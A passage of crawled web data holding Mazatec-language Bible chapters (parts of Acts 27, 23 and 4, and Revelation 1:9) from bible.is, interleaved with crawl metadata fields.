jñà xi̱ta̱: ―Ijyeé tjín‑la̱ jò xomàna̱ nga titsa̱jnachjeén nga ta jè i̱nchichiñá‑lá mé ra ko̱ma'tieén. 34'Koa̱á 'sín síjé‑no, nga machjeén‑ní nga ti̱chioò mé‑ni nga 'se̱‑no nga'ñó. Nga̱ nga'tsì‑no ra titsa̱hijyo i̱jndíi̱, kì tà chjàn níkájno, nga̱ ni̱mé ra ko̱ma‑no, skanda mí kì jchi̱ja jngo tsja̱‑skò. 35'Kia̱ nga ijye ko̱kitsò jè Pablo, iskábé ni̱ño̱ nchra̱jín, kitsjà‑la̱ kjo̱nda Nainá. A̱kjòn isìjòya jè ni̱ño̱ nchra̱jín ko̱ tsakjèn. 36Nga'tsì xi̱ta̱, 'kia̱ nga ijye 'ñó tsi'ké‑la̱ ikon, ti̱'koa̱á tsakjén‑te. 37Ta nga'tsì‑naji̱n jò sindo̱ ko̱ jàn‑kan ko̱ chrjo'òn jngo ma‑naji̱n ra ya̱ titsa̱jnaya‑ji̱n chitso. 38'Kia̱ nga ijye nda tsakjèn ijye xi̱ta̱, jñà 'chá trigo ra i̱jncha ya̱ chitso, ya̱á tsikíxten‑jín ya̱ ndáchikon mé‑ni nga katamajna̱-isa‑ni jè chitso. 39'Kia̱ nga ijye nda ki'se i̱sén, jñà xi̱ta̱ ra síxáko̱ chitso, mì kì bexkon ñánda̱‑ni i̱'nde ra ijchò‑ji̱n; tanga kijtse‑ní nga kjijnaá jngo i̱'nde ñánda̱ nga 'faha'sen‑kjá chrja‑la̱ ndáchikon ñánda̱ nga i̱jncha chrjo̱; ko̱ 'koa̱á 'sín kjomejèn‑la̱ tsiki nga ki̱jchòko̱ jè chitso skanda ján ñánda̱ i̱jncha chrjo̱. 40Tsate'ñó jñà na'ñó ra tjíté'ñó‑ni chitso. Jñà ki̱cha̱ ra ka̱nchó kjòn, ta ya̱á isìhijyongí ya̱ ndáchikon. Ko̱ iskíjnda̱'ñó jñà yá ra síxáko̱ nga fìko̱ kixi̱‑ni chitso. A̱kjòn iskimítje̱n jè nikje ra bítse‑la̱ tjo̱ nga mahítsjá. A̱kjòn tsikí'tsia̱ nga kijì kixi̱ ñánda̱ nga kjijna jè i̱'nde ñánda̱ nga i̱jncha chrjo̱. 41Tanga ya̱á iskajin'ñó ñánda̱ i̱jncha chrjo̱ ya̱ a̱jin ndáchikon. Jè sko̱ chitso ya̱á iskajin'ñó; mì kì ti̱ kjomà kjojtiya‑ni. A̱kjòn kjo'tsia̱ nga kjòxi̱ jè tjà'tsin chitso, nga̱ jé nga'ñó‑la̱ nandá isìxi̱. 42Jñà chíchàn mején‑la̱ nga isì'ken jñà xi̱ta̱ ra i̱nchifì kjo̱hi'in, nga̱ majìn‑la̱ nga kjoa̱achinga ya̱ a̱jin ndáchikon. 43Tanga jè xi̱ta̱ ítjòn‑la̱ chíchàn, mì kì kitsjá'nde. Nga̱ jé ra mejèn‑la̱ nga mì kì ki̱yá jè Pablo. Ta isa̱á jnchro kitsjà kjo̱hixi̱, kitsò: ―Tsa yá ra ma‑la̱ nandá, katafì ítjòn mé‑ni nga ko̱ma ki̱jchò‑ni ñánda̱ nga nangi; 44ko̱ jñà xi̱ta̱ ra i'ka ra mì kì ma‑la̱ nandá, íte katjasòn nga katafìsòn nandá ko̱ tsa majìn, jñà íte xkoa̱‑la̱ chitso katasíchjeén ―kitsò jè xi̱ta̱ ítjòn‑la̱ chíchàn. Ko̱ 'koa̱á 'sín kjomà‑ni nga nda ijchò ijye‑ji̱n ñánda̱ nga nangi.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/27","date":"2017-08-23T18:31:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886123312.44\/warc\/CC-MAIN-20170823171414-20170823191414-00514.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":1345,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9'A̱n‑ná xi mì‑na̱ Juan, xi 'ndsè xan‑nò i̱t'aà ts'e̱ Cristo. Nga ya̱á titsa̱jnakoa̱á Cristo ngásòn titsa̱nìkjiaán kjo̱'in, ko̱ ngásòn ya̱ nokjoà‑ná ñánda tíhotíxoma Nainá ko̱ ngásòn tíchíkjoa̱ko̱‑ná ngats'iì kjoa̱. 'A̱n nga 'én‑la̱ Nainá tìchjàya ko̱ tìbeno̱jmí kixi̱‑la̱ xi̱ta̱ i̱t'aà ts'e̱ Cristo, k'oa̱á komà‑ne ján kinìkasén‑na ya̱ nangui jiìn‑ndá ñánda 'mì Patmos.\nApocalipsis 1:9\nFREE!\nOne App.\n1253 Languages.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/1\/9","date":"2017-08-18T07:24:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104612.83\/warc\/CC-MAIN-20170818063421-20170818083421-00405.warc.gz","language":"maa","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999922513961792}","num_words":56,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Pablo isko'án jñà xi̱ta̱xá ítjòn kitsò‑la̱: ―Jiòn 'ndsé, ra xi̱ta̱ judío 'mì‑ná, 'koa̱á xín‑no, ngi tsjeé tíjna kjo̱bítsjen‑na̱ nga nda tísitjásòn koni 'sín mejèn‑la̱ Nainá skanda ni̱chjin 'ndi̱‑ni̱. 2Jè na̱'mì ítjòn ra 'mì Ananías, 'koa̱á 'sín kitsò‑la̱ jñà xi̱ta̱ ra i̱jncha'ta chraña‑la̱ Pablo nga katasíjtsin'á jngo ya̱ tsa'ba. 3Pablo kitsó‑la̱: ―¡Nainá si̱ìjtsin'á‑te ya̱ ndsa̱'bì, ji̱ ra jò i̱sén tjín‑li! Nga̱ ngaji̱, kií xá tijna‑ni nga kíndajín‑ná koni 'sín nga tíchja̱ kjo̱téxoma ko̱ ti̱ji̱í tjibatonè‑la̱ jè kjo̱téxoma nga tji'bi kjo̱hixi̱ nga katanijtsin'á‑na. 4Jñà xi̱ta̱ ra i̱ncha'ta chraña‑la̱ Pablo kitsó‑la̱: ―¿Mé‑ni ko̱'sín nakjoájno‑ila̱ jè ra na̱'mì ítjòn‑la̱ Nainá tíjna? 5Jè Pablo kitsó‑la̱: ―'Ndsé, mì kì be tsa jè ra na̱'mì ítjòn tíjna. Nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Jè ra xi̱ta̱xá ítjòn‑la̱ na̱xi̱ndá, mì kì ko̱ma ki̱nákjoa̱jno‑la̱.\" 6Pablo, 'kia̱ nga kijtse jñà xi̱ta̱ ra títsa̱jna nga jò‑ya tjín, nga tjín xi̱ta̱ fariseo ko̱ tjín xi̱ta̱ saduceo, 'ñó kiìchja̱, kitsò: ―'Ndsé, 'a̱n, xi̱ta̱ fariseo‑náa̱; i'ndí‑la̱ xi̱ta̱ fariseo‑náa̱; kií ko̱'sín tísingi‑na ta nga̱tjì‑la̱ nga 'koa̱á 'sín makjiín‑na nga faháya‑ila̱ jñà xi̱ta̱ ra biya. 7'Kia̱ nga ijye ko̱'sín kitsò Pablo, tsikí'tsia̱á nga tsakátikjo jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo nga kjojòya kjo̱bítsjen‑la̱, 8ta nga̱tjì‑la̱, nga̱ jñà xi̱ta̱ saduceo mì kì makjiín‑la̱ tsa kixi̱ kjoa̱ nga faháya‑ila̱ xi̱ta̱ ra biya, ti̱'koa̱á mì kì makjiín‑la̱ tsa tjín ra 'mì ìkja̱li̱ ko̱ tsa tjín ra i̱sén ni̱chjin 'mì; tanga jñà xi̱ta̱ fariseo makjiín ijyeé‑la̱ a̱'ta 'tse̱ nga'tsì kjoa̱ kìi̱. 9'Ñó jchán kiìchja̱ nga'tsiòo̱ ko̱ 'kia̱á tsasítje̱n i'ka xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra ya̱ chja̱‑ni xi̱ta̱ fariseo nga 'ñó tsakátikjo nga kitsò: ―Jè xi̱ta̱ ra̱kìi̱, ni̱mé ra sakó‑naji̱n ra 'cho tí'sín; tsa kì ni̱chjin, tsa jngo i̱sén ni̱chjin kiìchja̱‑la̱ ko̱ tsa jngo ìkja̱li̱ tsakáko̱, tanga mì kì ma jién sa̱téchjá‑ná ra a̱'ta 'tse̱ Nainá. 10'Kia̱ nga kijtse jè xi̱ta̱ ítjòn‑la̱ chíchàn nga sa 'ñó sa 'ñó makjan‑isa‑la̱ xi̱ta̱, itsakjón‑ní nga 'koa̱á 'sín kjomà‑la̱ tsa ya̱ si̱ì'ken jè Pablo. 'Kia̱á kiìchja̱ i'ka‑la̱ jñà chíchàn; kitsjá‑la̱ kjo̱hixi̱ nga katafìko̱ india‑ni ya̱ ni'ya 'tse̱ chíchàn. 11Ra ma nchijòn nga ni̱tje̱n, jè Na̱'ín‑ná ijchò kasi'ta‑la̱ Pablo nga kitsò‑la̱: ―Kì tà chjàn skon‑jìn, koni 'sín inakjí i̱ Jerusalén ra a̱'ta tsa̱'a̱n, 'koa̱á ti̱'sín machjeén nga ki̱nákji̱i ján Roma. 12'Kia̱ nga ijye ki'se i̱sén, jñà xi̱ta̱ judío tsajo̱óya‑ni nga si̱ì'ken jè Pablo, 'koa̱á 'sín kitsjà kixi̱ 'én‑la̱ nga mì ti̱ kì ko̱kje̱n‑ni ko̱ mì ti̱ kì nandá sk'í‑ni skanda 'kia̱ nga si̱ì'ken jè Pablo ko̱ nga jé Nainá katatsjá‑la̱ kjo̱hi'in tsa mì kì ki̱tjasòn‑la̱. 13Tsatoó ichán ma‑ni jñà xi̱ta̱ judío ra ko̱'sín tsajo̱óya‑ni. 14Jñà xi̱ta̱ kìi̱, kiìjkón jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ jchínga 'tse̱ xi̱ta̱ judío, kitsò‑la̱: ―'Koa̱á 'sín ijye tsi'kì kixi̱‑ji̱n 'én‑na̱ji̱n nga mì kì mé ra chji̱ne̱‑ji̱n skanda 'kia̱ nga ki̱jchò ni̱chjin nga si̱'ken‑ji̱n jè Pablo, ko̱ nga Nainá katatsjá‑naji̱n kjo̱hi'in tsa mì kì ki̱tjasòn‑naji̱n. 15Nga'tsì‑no ra tjín‑no xá ítjòn koni 'sín nga titsa̱jnajtién, ko̱'tìn‑la jè xi̱ta̱ ítjòn‑la̱ chíchàn nga katanchrabáko̱‑no i̱jndíi̱ nchijòn. Ta 'koa̱á 'sín 'tin‑la nga jè mejèn‑najiòn nga isa̱ nda jcha̱a jè kjoa̱ ra tjín‑la̱. Ngaji̱n, ki̱tsa̱jnanda‑náji̱n ya̱ a̱ya ndi̱yá nga si̱'ken‑ji̱n 'kia̱ nga ti̱kje 'fiì i̱jndíi̱. 16Tanga jè ti‑la̱ ndichja Pablo, kií'nchré‑ní kjoa̱ ra tsajo̱óya‑ni jñà xi̱ta̱ judío; 'kia̱á kisíkjí'nchré jè Pablo ya̱ ni'ya 'tse̱ chíchàn. 17Jè Pablo kiìchja̱ jngo‑la̱ chíchàn, kitsò‑la̱: ―Tiki̱i jè ti ra̱kìi̱ ya̱ ñánda̱ tíjna xi̱ta̱ ítjòn‑la̱ chíchàn. Tjín 'én ra 'ke̱èna̱jmí‑la̱. 18Jè chíchàn kiìko̱ó jè ti ra̱kìi̱ ya̱ ñánda̱ tíjna xi̱ta̱ ítjòn‑la̱ chíchàn, kitsò‑la̱: ―Jè Pablo ra tíjnaya nda̱yá kàchja̱‑na nga kàtsò‑na: \"Tiki̱i jè ti ra̱kìi̱. Tjín‑ró jngo 'én ra 'ke̱èna̱jmí‑la̱.\" 19Jè xi̱ta̱ ítjòn‑la̱ chíchàn, itsabá'ñó tsja jè ti, kiìko̱'tàxìn nga iskonangi‑la̱ mé 'én ra 'ke̱èna̱jmí‑la̱. 20Jè ti ra̱kìi̱ kitsó‑ní: ―Jñà xi̱ta̱ judío, ijyeé tsajo̱óya‑ni [nga mején‑la̱ sko̱ónda̱cha̱‑li] nga 'koa̱‑ró 'sín ki̱ìtsa'ba‑li nga íki̱i nchijòn jè Pablo ya̱ ngixko̱n xi̱ta̱xá judío nga mejèn‑ró‑la̱ isa̱ nda sko̱nangi‑la̱ mé kjoa̱ ra tjín‑la̱. 21Ngaji̱, kì tà chjàn makjiín‑li. Nga̱ tsatoó‑la tsa ichán ma‑ni jñà xi̱ta̱ kìi̱ ra títsa̱jnanda nga kítsa̱jnachjà‑la̱ Pablo ya̱ a̱ya ndi̱yá nga mejèn‑la̱ si̱ì'ken. Ijyeé ko̱'sín kitsjà kixi̱ 'én‑la̱ nga mì‑ró ti̱ kì ko̱kje̱n‑ni, nga mì‑ró ti̱ kì nandá sk'í‑ni skanda 'kia̱ nga si̱ì'ken jè Pablo ko̱ nga Nainá‑ró katatsjá‑la̱ kjo̱hi'in tsa mì kì ki̱tjasòn‑la̱. Ko̱ 'ndi̱ 'ndi̱, tà jé i̱nchikoñá‑la̱ nga kó'sín síi̱ ra ji̱. 22Jè xi̱ta̱ ítjòn‑la̱ chíchàn, 'koa̱á 'sín kitsò‑la̱ jè ti nga katafì‑ni, 'koa̱á 'sín tsikí'tin, kì tà chjàn yá ra ko̱tsò‑la̱ koni 'sín nga ijye jè tsi'kéna̱jmí‑la̱ jñà 'én kìi̱. 23Jè xi̱ta̱ ítjòn‑la̱ chíchàn, jò chíchàn‑la̱ kiìchja̱‑la̱ ra bí'tin xákjién. Kitsjá‑la̱ kjo̱hixi̱ nga katasíkítsa̱jnanda jò sindo̱ chíchàn ra ndsa̱ko̱ ki̱ji̱‑ni, ko̱ jàn‑kan ko̱ te ra kabàyo̱ kítsa̱sòn‑la̱, ko̱ jò sindo̱ ra ki̱cha̱ lanza 'koa̱ nga ki̱ji̱ skanda ya̱ Cesarea 'kia̱ nga ki̱jchò las nueve nga ijye ko̱jñò. 24Ti̱'koa̱ kitsjá kjo̱hixi̱ nga kátíjnanda jngo kabàyo̱ ra kíjnakjá‑la̱ jè Pablo mé‑ni nga nda kjòn katafìko̱ skanda ñánda̱ tíjna jè xi̱ta̱xá ítjòn ra 'mì Félix. 25Jngo xa̱jo̱n tsikínda ra ma nikasén ra tsò: 26\"Tjín‑li kjo̱nda ngaji̱ Félix ra xi̱ta̱xá ítjòn tijni; 'a̱n, Claudio Lisias, 'koa̱á 'sín tísixó'tá‑la. 27Jè xi̱ta̱ ra tísikásén‑la, jñà xi̱ta̱ judío kitsabá'ñó. Kja̱meé kisì'ken, tanga 'kia̱ nga kí'nchrè nga xi̱ta̱ romano‑ní, 'a̱án kiìko̱ jñà chíchàn‑na̱ nga ìtsjà'án. 28Ko̱ ya̱á kiìko̱ ya̱ ñánda̱‑nioo̱ títsa̱jna jñà xi̱ta̱xá‑la̱ xi̱ta̱ judío nga mejèn‑na skee̱ mé kjoa̱ ra tjín‑la̱. 29'Kia̱ nga ijchòko̱, kíjtse‑náa̱ nga ta kií nga̱tjì‑la̱ kjoa̱ 'tse̱ kjo̱téxoma ra tjín‑la̱. Ko̱ jè xi̱ta̱ ra̱kìi̱, nì mé jé tjín‑la̱ ra bakèn‑la̱ nga ki̱yá, skanda mí kì bakèn‑la̱ nga nda̱yá ki̱ji̱. 30'A̱n, 'koa̱á 'sín ki'sena̱jmí‑na nga jñà xi̱ta̱ judío 'koa̱á 'sín ijye tsajo̱óya‑ni nga mejèn‑la̱ ta si̱ì'ken chijé. 'Koa̱á ma‑ni nga ji̱ tísikásén‑la. Ko̱ 'koa̱á ti̱'sín kíxin‑la̱ jñà xi̱ta̱ ra bángi nga ya̱ ngixkìi̱n katasindajín‑la̱ tsa mé kjoa̱ ra tjín‑la̱ ra kondra̱ 'tse̱.\" 31'Kia̱ nga ijye kjòjñò, jñà chíchàn kiìko̱ó jè Pablo skanda ján Antípatris koni 'sín nga ijye kisi'tin. 32Ra ma nchijòn jñà chíchàn ra ndsa̱ko̱ kijì‑ni, tsáfaá‑ni; 'ji‑ni skanda ya̱ ni'ya 'tse̱ chíchàn. Tà jñá kiìko̱ Pablo jñà chíchàn ra kabàyo̱ títsa̱jnasòn. 33Jñà chíchàn kìi̱, 'kia̱ nga ijchò ya̱ Cesarea, isìnga̱tsjaá jè xi̱ta̱xá ítjòn xa̱jo̱n ra 'ya ra inikasén‑la̱; ti̱'koa̱ isìnga̱tsja jè Pablo. 34Jè xi̱ta̱xá ítjòn, 'kia̱ nga ijye tsikíxki̱yajin jè xa̱jo̱n ra inikasén‑la̱, iskonangi‑ní ñánda̱‑ni i̱'nde‑la̱ Pablo. 'Kia̱ nga ijye kijtse nga ya̱á nangi Cilicia i̱'nde‑la̱, 35kitsó‑la̱: ―'Kia̱á kji'nchrè‑la 'kia̱ nga kj'i̱í jñà xi̱ta̱ ra bángi‑li. A̱kjòn kitsjá kjo̱hixi̱ nga katamakìnda̱, ko̱ ya̱ katijna ya̱ ni'ya masen ra tsikínda Herodes.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/23","date":"2017-08-21T10:37:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886108264.79\/warc\/CC-MAIN-20170821095257-20170821115257-00510.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":1039,"character_repetition_ratio":0.078,"word_repetition_ratio":0.006,"special_characters_ratio":0.23,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Pedro ko̱ Juan, 'kia̱ nga i̱nchibáko̱‑isa xi̱ta̱ na̱xi̱ndá, ijchó jñà na̱'mì, tje̱n‑ko̱ jè xi̱ta̱ ítjòn‑la̱ polsìya̱ ra síkinda̱ i̱ngo̱ ítjòn ko̱ jñà xi̱ta̱ saduceo. 2'Ñó jti kjomà‑la̱ nga ko̱'sín tsakón‑ya‑la̱ xi̱ta̱ na̱xi̱ndá jè Pedro ko̱ Juan nga kjoa̱áya india‑ila̱ xi̱ta̱ ra ijye 'ken koni 'sín nga jaáya‑la̱ Jesús. 3Itsabá'ñó‑ní, ko̱ a̱kjòn kiìko̱ nga isìkjaha'sen nda̱yá, nga̱ ijyeé kjòhixòn 'kia̱; skanda ma nchijón kisindajín‑la̱. 4Tanga 'ñó kjìn ma‑ni xi̱ta̱ ra kjokjiín‑la̱ 'kia̱ nga kií'nchré 'én ra kiìchja̱. Skanda kjomá‑la tsa 'òn jmi xi̱ta̱‑la̱ Jesús ra ngi tà xi̱ta̱ 'xi̱n, ko̱ xìn ra íchjín. 5Ra ma nchijòn, kjóxkóya‑ní ya̱ ján Jerusalén jñà xi̱ta̱ ítjòn‑la̱ xi̱ta̱ Judío ko̱ xi̱ta̱ jchínga ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. 6Ti̱'koa̱á ya̱á títsa̱jna Anás, ra na̱'mì ítjòn, ko̱ Caifás, ko̱ Juan, ko̱ Alejandro, ko̱ nga'tsì ra xi̱ta̱ xákjín jñà na̱'mì ítjòn. 7A̱kjòn 'kia̱á kiìjch'à jè Pedro ko̱ Juan, isikinchá masen nga iskonangi‑la̱, kitsò‑la̱: ―¿Yá 'tse̱ nga'ñó? Ko̱, ¿yá ra kátsjá'nde‑no nga ko̱tjín kjoa̱ ra 'nià? 8Jè Pedro nda kjón tjíjin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá; kitsò: ―Jiòn ra xi̱ta̱xá ítjòn 'mì‑no ko̱ ra xi̱ta̱ jchínga‑la̱ na̱xi̱ndá Israel: 9¿A ta kií xá i̱nchichjinangi‑náji̱n nga mejèn‑no jcha̱a jè kjo̱nda ra ki'nià‑ji̱n, ko̱ kó'sín kjomà‑la̱ nga kjonda‑ni jè ndí xi̱ta̱ ra mì kì ma fì tsiki? 10'Koa̱á 'sín ki̱nákjoa̱ kixi̱‑ji̱n ya̱ ngixkòn jiòn mé‑ni nga kata'nchré ijye‑ni xi̱ta̱ na̱xi̱ndá Israel. Xi̱ta̱ ra̱kìi̱, ra tíjna ya̱ ngixkòn jiòn, a̱'ta 'tse̱é Jesucristo ra Nazaret i̱'nde‑la̱ kjonda‑ni. Ti̱jé‑ni ra ini'ken jiòn nga tsakja'ta krò tanga jè Nainá isikjaáya‑ila̱. 11'Koa̱á ngoya‑la̱ jiòn koni chji̱ne̱chrjó ra bínda ni'ya. Inachrjengi‑nó Jesús koni jngo na̱jo̱ ra ni̱mé chjí‑la̱. Tanga 'ndi̱ 'ndi̱, jè Nainá, 'koa̱á 'sín isíkíjna koni jngo na̱jo̱ ra isa̱ 'ñó chjí‑la̱ jè ra bí'ñóya ya̱ nga chrja̱ngi̱‑la̱ ni'ya. 12Jè Nainá, tà jngoó‑ni xi̱ta̱ ra isìkasén i̱ a̱'ta nangi ra ma ko̱chrjekàjin‑ná kjo̱hi'in ra kjoa̱ 'tse̱ jé‑ná, ta jè‑ni Jesucristo. Tsìn ìjngo‑isa xi̱ta̱ ra kj'ií ―kitsó Pedro. 13Jñà xi̱ta̱xá, 'kia̱ nga kijtse nga 'ñó chja̱ jè Pedro ko̱ Juan nga mì kì tsakjón, ti̱'koa̱á kijtse nga taxki̱ ndí xi̱ta̱‑ní nga mì tsa tse xa̱jo̱n ma‑la̱, ta kjóxkón‑la̱; 'kia̱á kjòchi̱ya‑la̱ nga jñà xi̱ta̱ kìi̱, ya̱á tsikimako̱ kiti Jesús. 14Ti̱'koa̱á kijtse‑te nga ya̱ síjna jè xi̱ta̱ ra ijye kjonda‑ni, 'koa̱á 'sín ma‑ni nga mì ti̱ kì kó kitsò‑ila̱. 15'Kia̱á ko̱ki'mì‑la̱ nga katitjo jngohíjta ya̱ ñánda̱ nga tjítsa̱hijyo jñà xi̱ta̱; a̱kjòn jñà xi̱ta̱ kìi̱ tsajo̱óya‑ni. 16Kitsò‑la̱ xákjín: ―¿Mé ra si̱ke̱é jñà xi̱ta̱ kìi̱? Nga'tsì jñà xi̱ta̱ na̱xi̱ndá Jerusalén, ijyeé tjíjin‑la̱ jè kjo̱xkón ra ki'sìn; ko̱ jién mì kì ko̱ma kí'meé. 17Tanga ki̱nchaxkón‑lá mé‑ni nga mì ti̱ kì ko̱bísòn‑ni jè kjoa̱ ra̱kìi̱, ko̱ mé‑ni nga ni̱ì‑ti̱‑jngo xi̱ta̱ 'ke̱èna̱jmí-isa‑la̱ ra a̱'ta 'tse̱ Jesús. 18'Kia̱á kiìchja̱ india‑ila̱ Pedro ko̱ Juan; kitsjá‑la̱ kjo̱hixi̱ nga jngo kjá mì kì ti̱ tjí'nde‑la̱ nga 'ke̱èna̱jmí-isa‑la̱ xi̱ta̱, ko̱ nga ko̱kòn‑ya-isa‑la̱ ra a̱'ta 'tse̱ Jesús. 19Jè Pedro ko̱ Juan kiìchja̱‑ní, nga kitsò: ―Nda ti̱kítsjen jiòn, ¿a ndaá tjín ya̱ ngixko̱n Nainá nga jiòn si̱kitjasòn‑laji̱n ko̱ mì tsa jè Nainá ki̱tjasòn‑la̱? 20Nga̱ mì kì ko̱ma jyò ki̱tsa̱jna‑ji̱n, kjo̱'ñó ki̱nákjoa̱‑ji̱n a̱'ta 'tse̱ kjoa̱ ra nda kijcha‑ji̱n ko̱ ra nda kina'yá‑ji̱n. 21Jñà xi̱ta̱xá mì kì isakò‑la̱ kó'sín si̱ìko̱ nga tsjá‑la̱ kjo̱hi'in, tà tsincháxkón‑la̱, ko̱ a̱kjòn isìkíhijyondi̱í‑ni, nga̱ nga'tsì jñà xi̱ta̱ na̱xi̱ndá, 'ñó jeya isíkíjna Nainá ta nga̱tjì‑la̱ jè kjo̱xkón ra kjomà. 22Nga̱ jè xi̱ta̱ ra kjonda‑ni, tsatoó ichán nó tjín‑la̱ 'kia̱ nga ko̱'sín kjomà'tin jè kjo̱xkón ra̱kìi̱. 23'Kia̱ nga ijye tsikìtsa̱jnandi̱í‑ni Pedro ko̱ Juan, kijí‑ni ya̱ ñánda̱ títsa̱jna jñà xi̱ta̱ xákjién; tsi'kéna̱jmí ijyeé‑la̱ kó'sín kitsò‑la̱ jñà na̱'mì ítjòn ko̱ jñà xi̱ta̱ jchínga. 24Jñà xi̱ta̱ xákjién, 'kia̱ nga ijye kií'nchré koni 'sín ki'sena̱jmí‑la̱, jngoó jta̱ ki'sìn kjo̱bítsjen‑la̱ nga kiìchja̱'ta‑la̱ Nainá, kitsò: ―Na̱'ìn ji̱ ra Nainá 'mì‑li, ra tsikindi jè ngajmi, ko̱ jè nangi ko̱ jè ndáchikon, ko̱ nga'tsì tsajmì ra tjín ya̱ i̱sà'nde, 25'koa̱á 'sín kisi nga inichjiín tsa'ba chi̱'nda‑li David jè ra xi̱ta̱ jchínga‑na̱ji̱n kjomà, nga isìchi̱ya‑la̱ jè Inìma̱ Tsje‑li 'kia̱ nga kitsò: ¿Mé‑ni nga ma'tse̱n‑ni jñà xi̱ta̱ i̱sà'nde? Ko̱ jñà xi̱ta̱ na̱xi̱ndá, ¿mé‑ni jñà bínda‑ni kjoa̱ ra nì mé chjí‑la̱? 26Kjóxkóyaá jñà xi̱ta̱xá ítjòn ra tjín ya̱ i̱sà'nde; isìjngoó ijo‑la̱ jñà xi̱ta̱ ra i̱nchibatéxoma nga kondra̱ kijì‑la̱ Nainá ko̱ jè Cristo [jè ra xá isìkasén‑ni Nainá]. 27'Kixi̱í kjoa̱, jè Herodes ko̱ Poncio Pilato, ko̱ ra mì tsa xi̱ta̱ Judío, ko̱ jñà xi̱ta̱ na̱xi̱ndá Israel, kií xá tsikíjtín‑ni ijo‑la̱ ya̱ na̱xi̱ndá ra̱kìi̱, nga kondra̱ kijì‑la̱ jè I'ndí‑li Jesús ra xi̱ta̱ tsje ra xá ji̱ ichjaájin‑ni nga inikasín nga jè ra Cristo. 28Jñà xi̱ta̱ kìi̱, 'koa̱á 'sín ki'sìn koni 'sín ijye ichosòn‑la̱ ji̱ kjotseé nga tjínè‑la̱ nga ko̱'sín ko̱ka̱ma. 29Na̱'ìn, chítsijen‑la̱ ji̱ xi̱ta̱ kìi̱ nga̱ mején‑la̱ ske̱ton‑naji̱n; ko̱ ti̱si̱ko̱‑náji̱n ra chi̱'nda‑li 'mì‑náji̱n nga mì kì ki̱skón‑ji̱n 'kia̱ nga ki̱nákjoa̱ya ji̱n jñà 'én‑li. 30Ta̱kín jè nga'ñó ra tjín‑li nga katanda‑nì jñà xi̱ta̱ ra kiya; ko̱ 'ti̱ìn kjo̱xkón a̱'ta 'tse̱ Chi̱'nda Tsje‑li Jesús, jñà kjo̱xkón ra bakón jè kjoa̱jeya‑li. 31'Kia̱ nga ijye kiìchja̱'ta‑la̱ Nainá, chón 'tsa ya̱ i̱'nde ñánda̱ nga títsa̱jna. Nga'tsì xi̱ta̱ ra ya̱ títsa̱jna ngi ndaá isijin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá; ko̱ mì ti̱ kì itsakjòn‑ni nga kiìchja̱ya 'én‑la̱ Nainá. 32Nga'tsì xi̱ta̱ ra ijye kjokjiín‑la̱, ngásòn ngáyaá tjín inìma̱‑la̱ ko̱ kjo̱bítsjen‑la̱; ko̱ nga'tsì tsajmì ra tjín‑la̱ nga jngó jngó xi̱ta̱, 'tse̱ ijye‑ní kóhotjío̱n. Ni̱jngo ra kitsò: \"Tsajmì ra tjín‑na, tsa̱'a̱n ta̱jngo‑ná.\" 33Jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús 'ñó tse nga'ñó ki'se‑la̱ nga kitsjà 'én a̱'ta 'tse̱ Jesús ra tíjna ítjòn‑ná, nga jè Jesús ijyeé jaáya‑ila̱ ra a̱'ta 'tse̱ kjo̱biya. Ko̱ nga'tsì jñà xi̱ta̱ kìi̱, Nainá 'ñó nda isìchikon'tin. 34'Koa̱á 'sín kjomà‑ni nga nga'tsì xi̱ta̱ mì mé tsajmì isìjchija'ta‑la̱ ra machjeén‑la̱. Jñà xi̱ta̱ ra tjín‑la̱ nangi ko̱ ra tjín‑la̱ ni'ya, tsatína‑ní; a̱kjòn fìko̱ ijye jè to̱n‑la̱ tsajmì ra batína; 35ya̱á sínga̱tsja jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús; a̱kjòn síka'bí‑la̱ xákjién nga jngó jngó mé ra chija'ta‑la̱. 36'Koa̱á 'sín ki'sìn jngo xi̱ta̱ Levita ra José 'mì ra ya̱ i̱'nde‑la̱ na̱xi̱ndá Chipre. Jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús, jngo 'í tsikí'ta‑la̱ nga Bernabé kitsò‑la̱. (Xi̱ta̱ ra sí'ñó ikon‑ná, tsò‑ni jè 'í ra̱kìi̱.) 37Xi̱ta̱ ra̱kìi̱, kjijnaá jngo 'ndé‑la̱ nangi; tsatína‑ní; a̱kjòn 'jiìkó jè to̱n‑la̱; isìnga̱tsja jñà 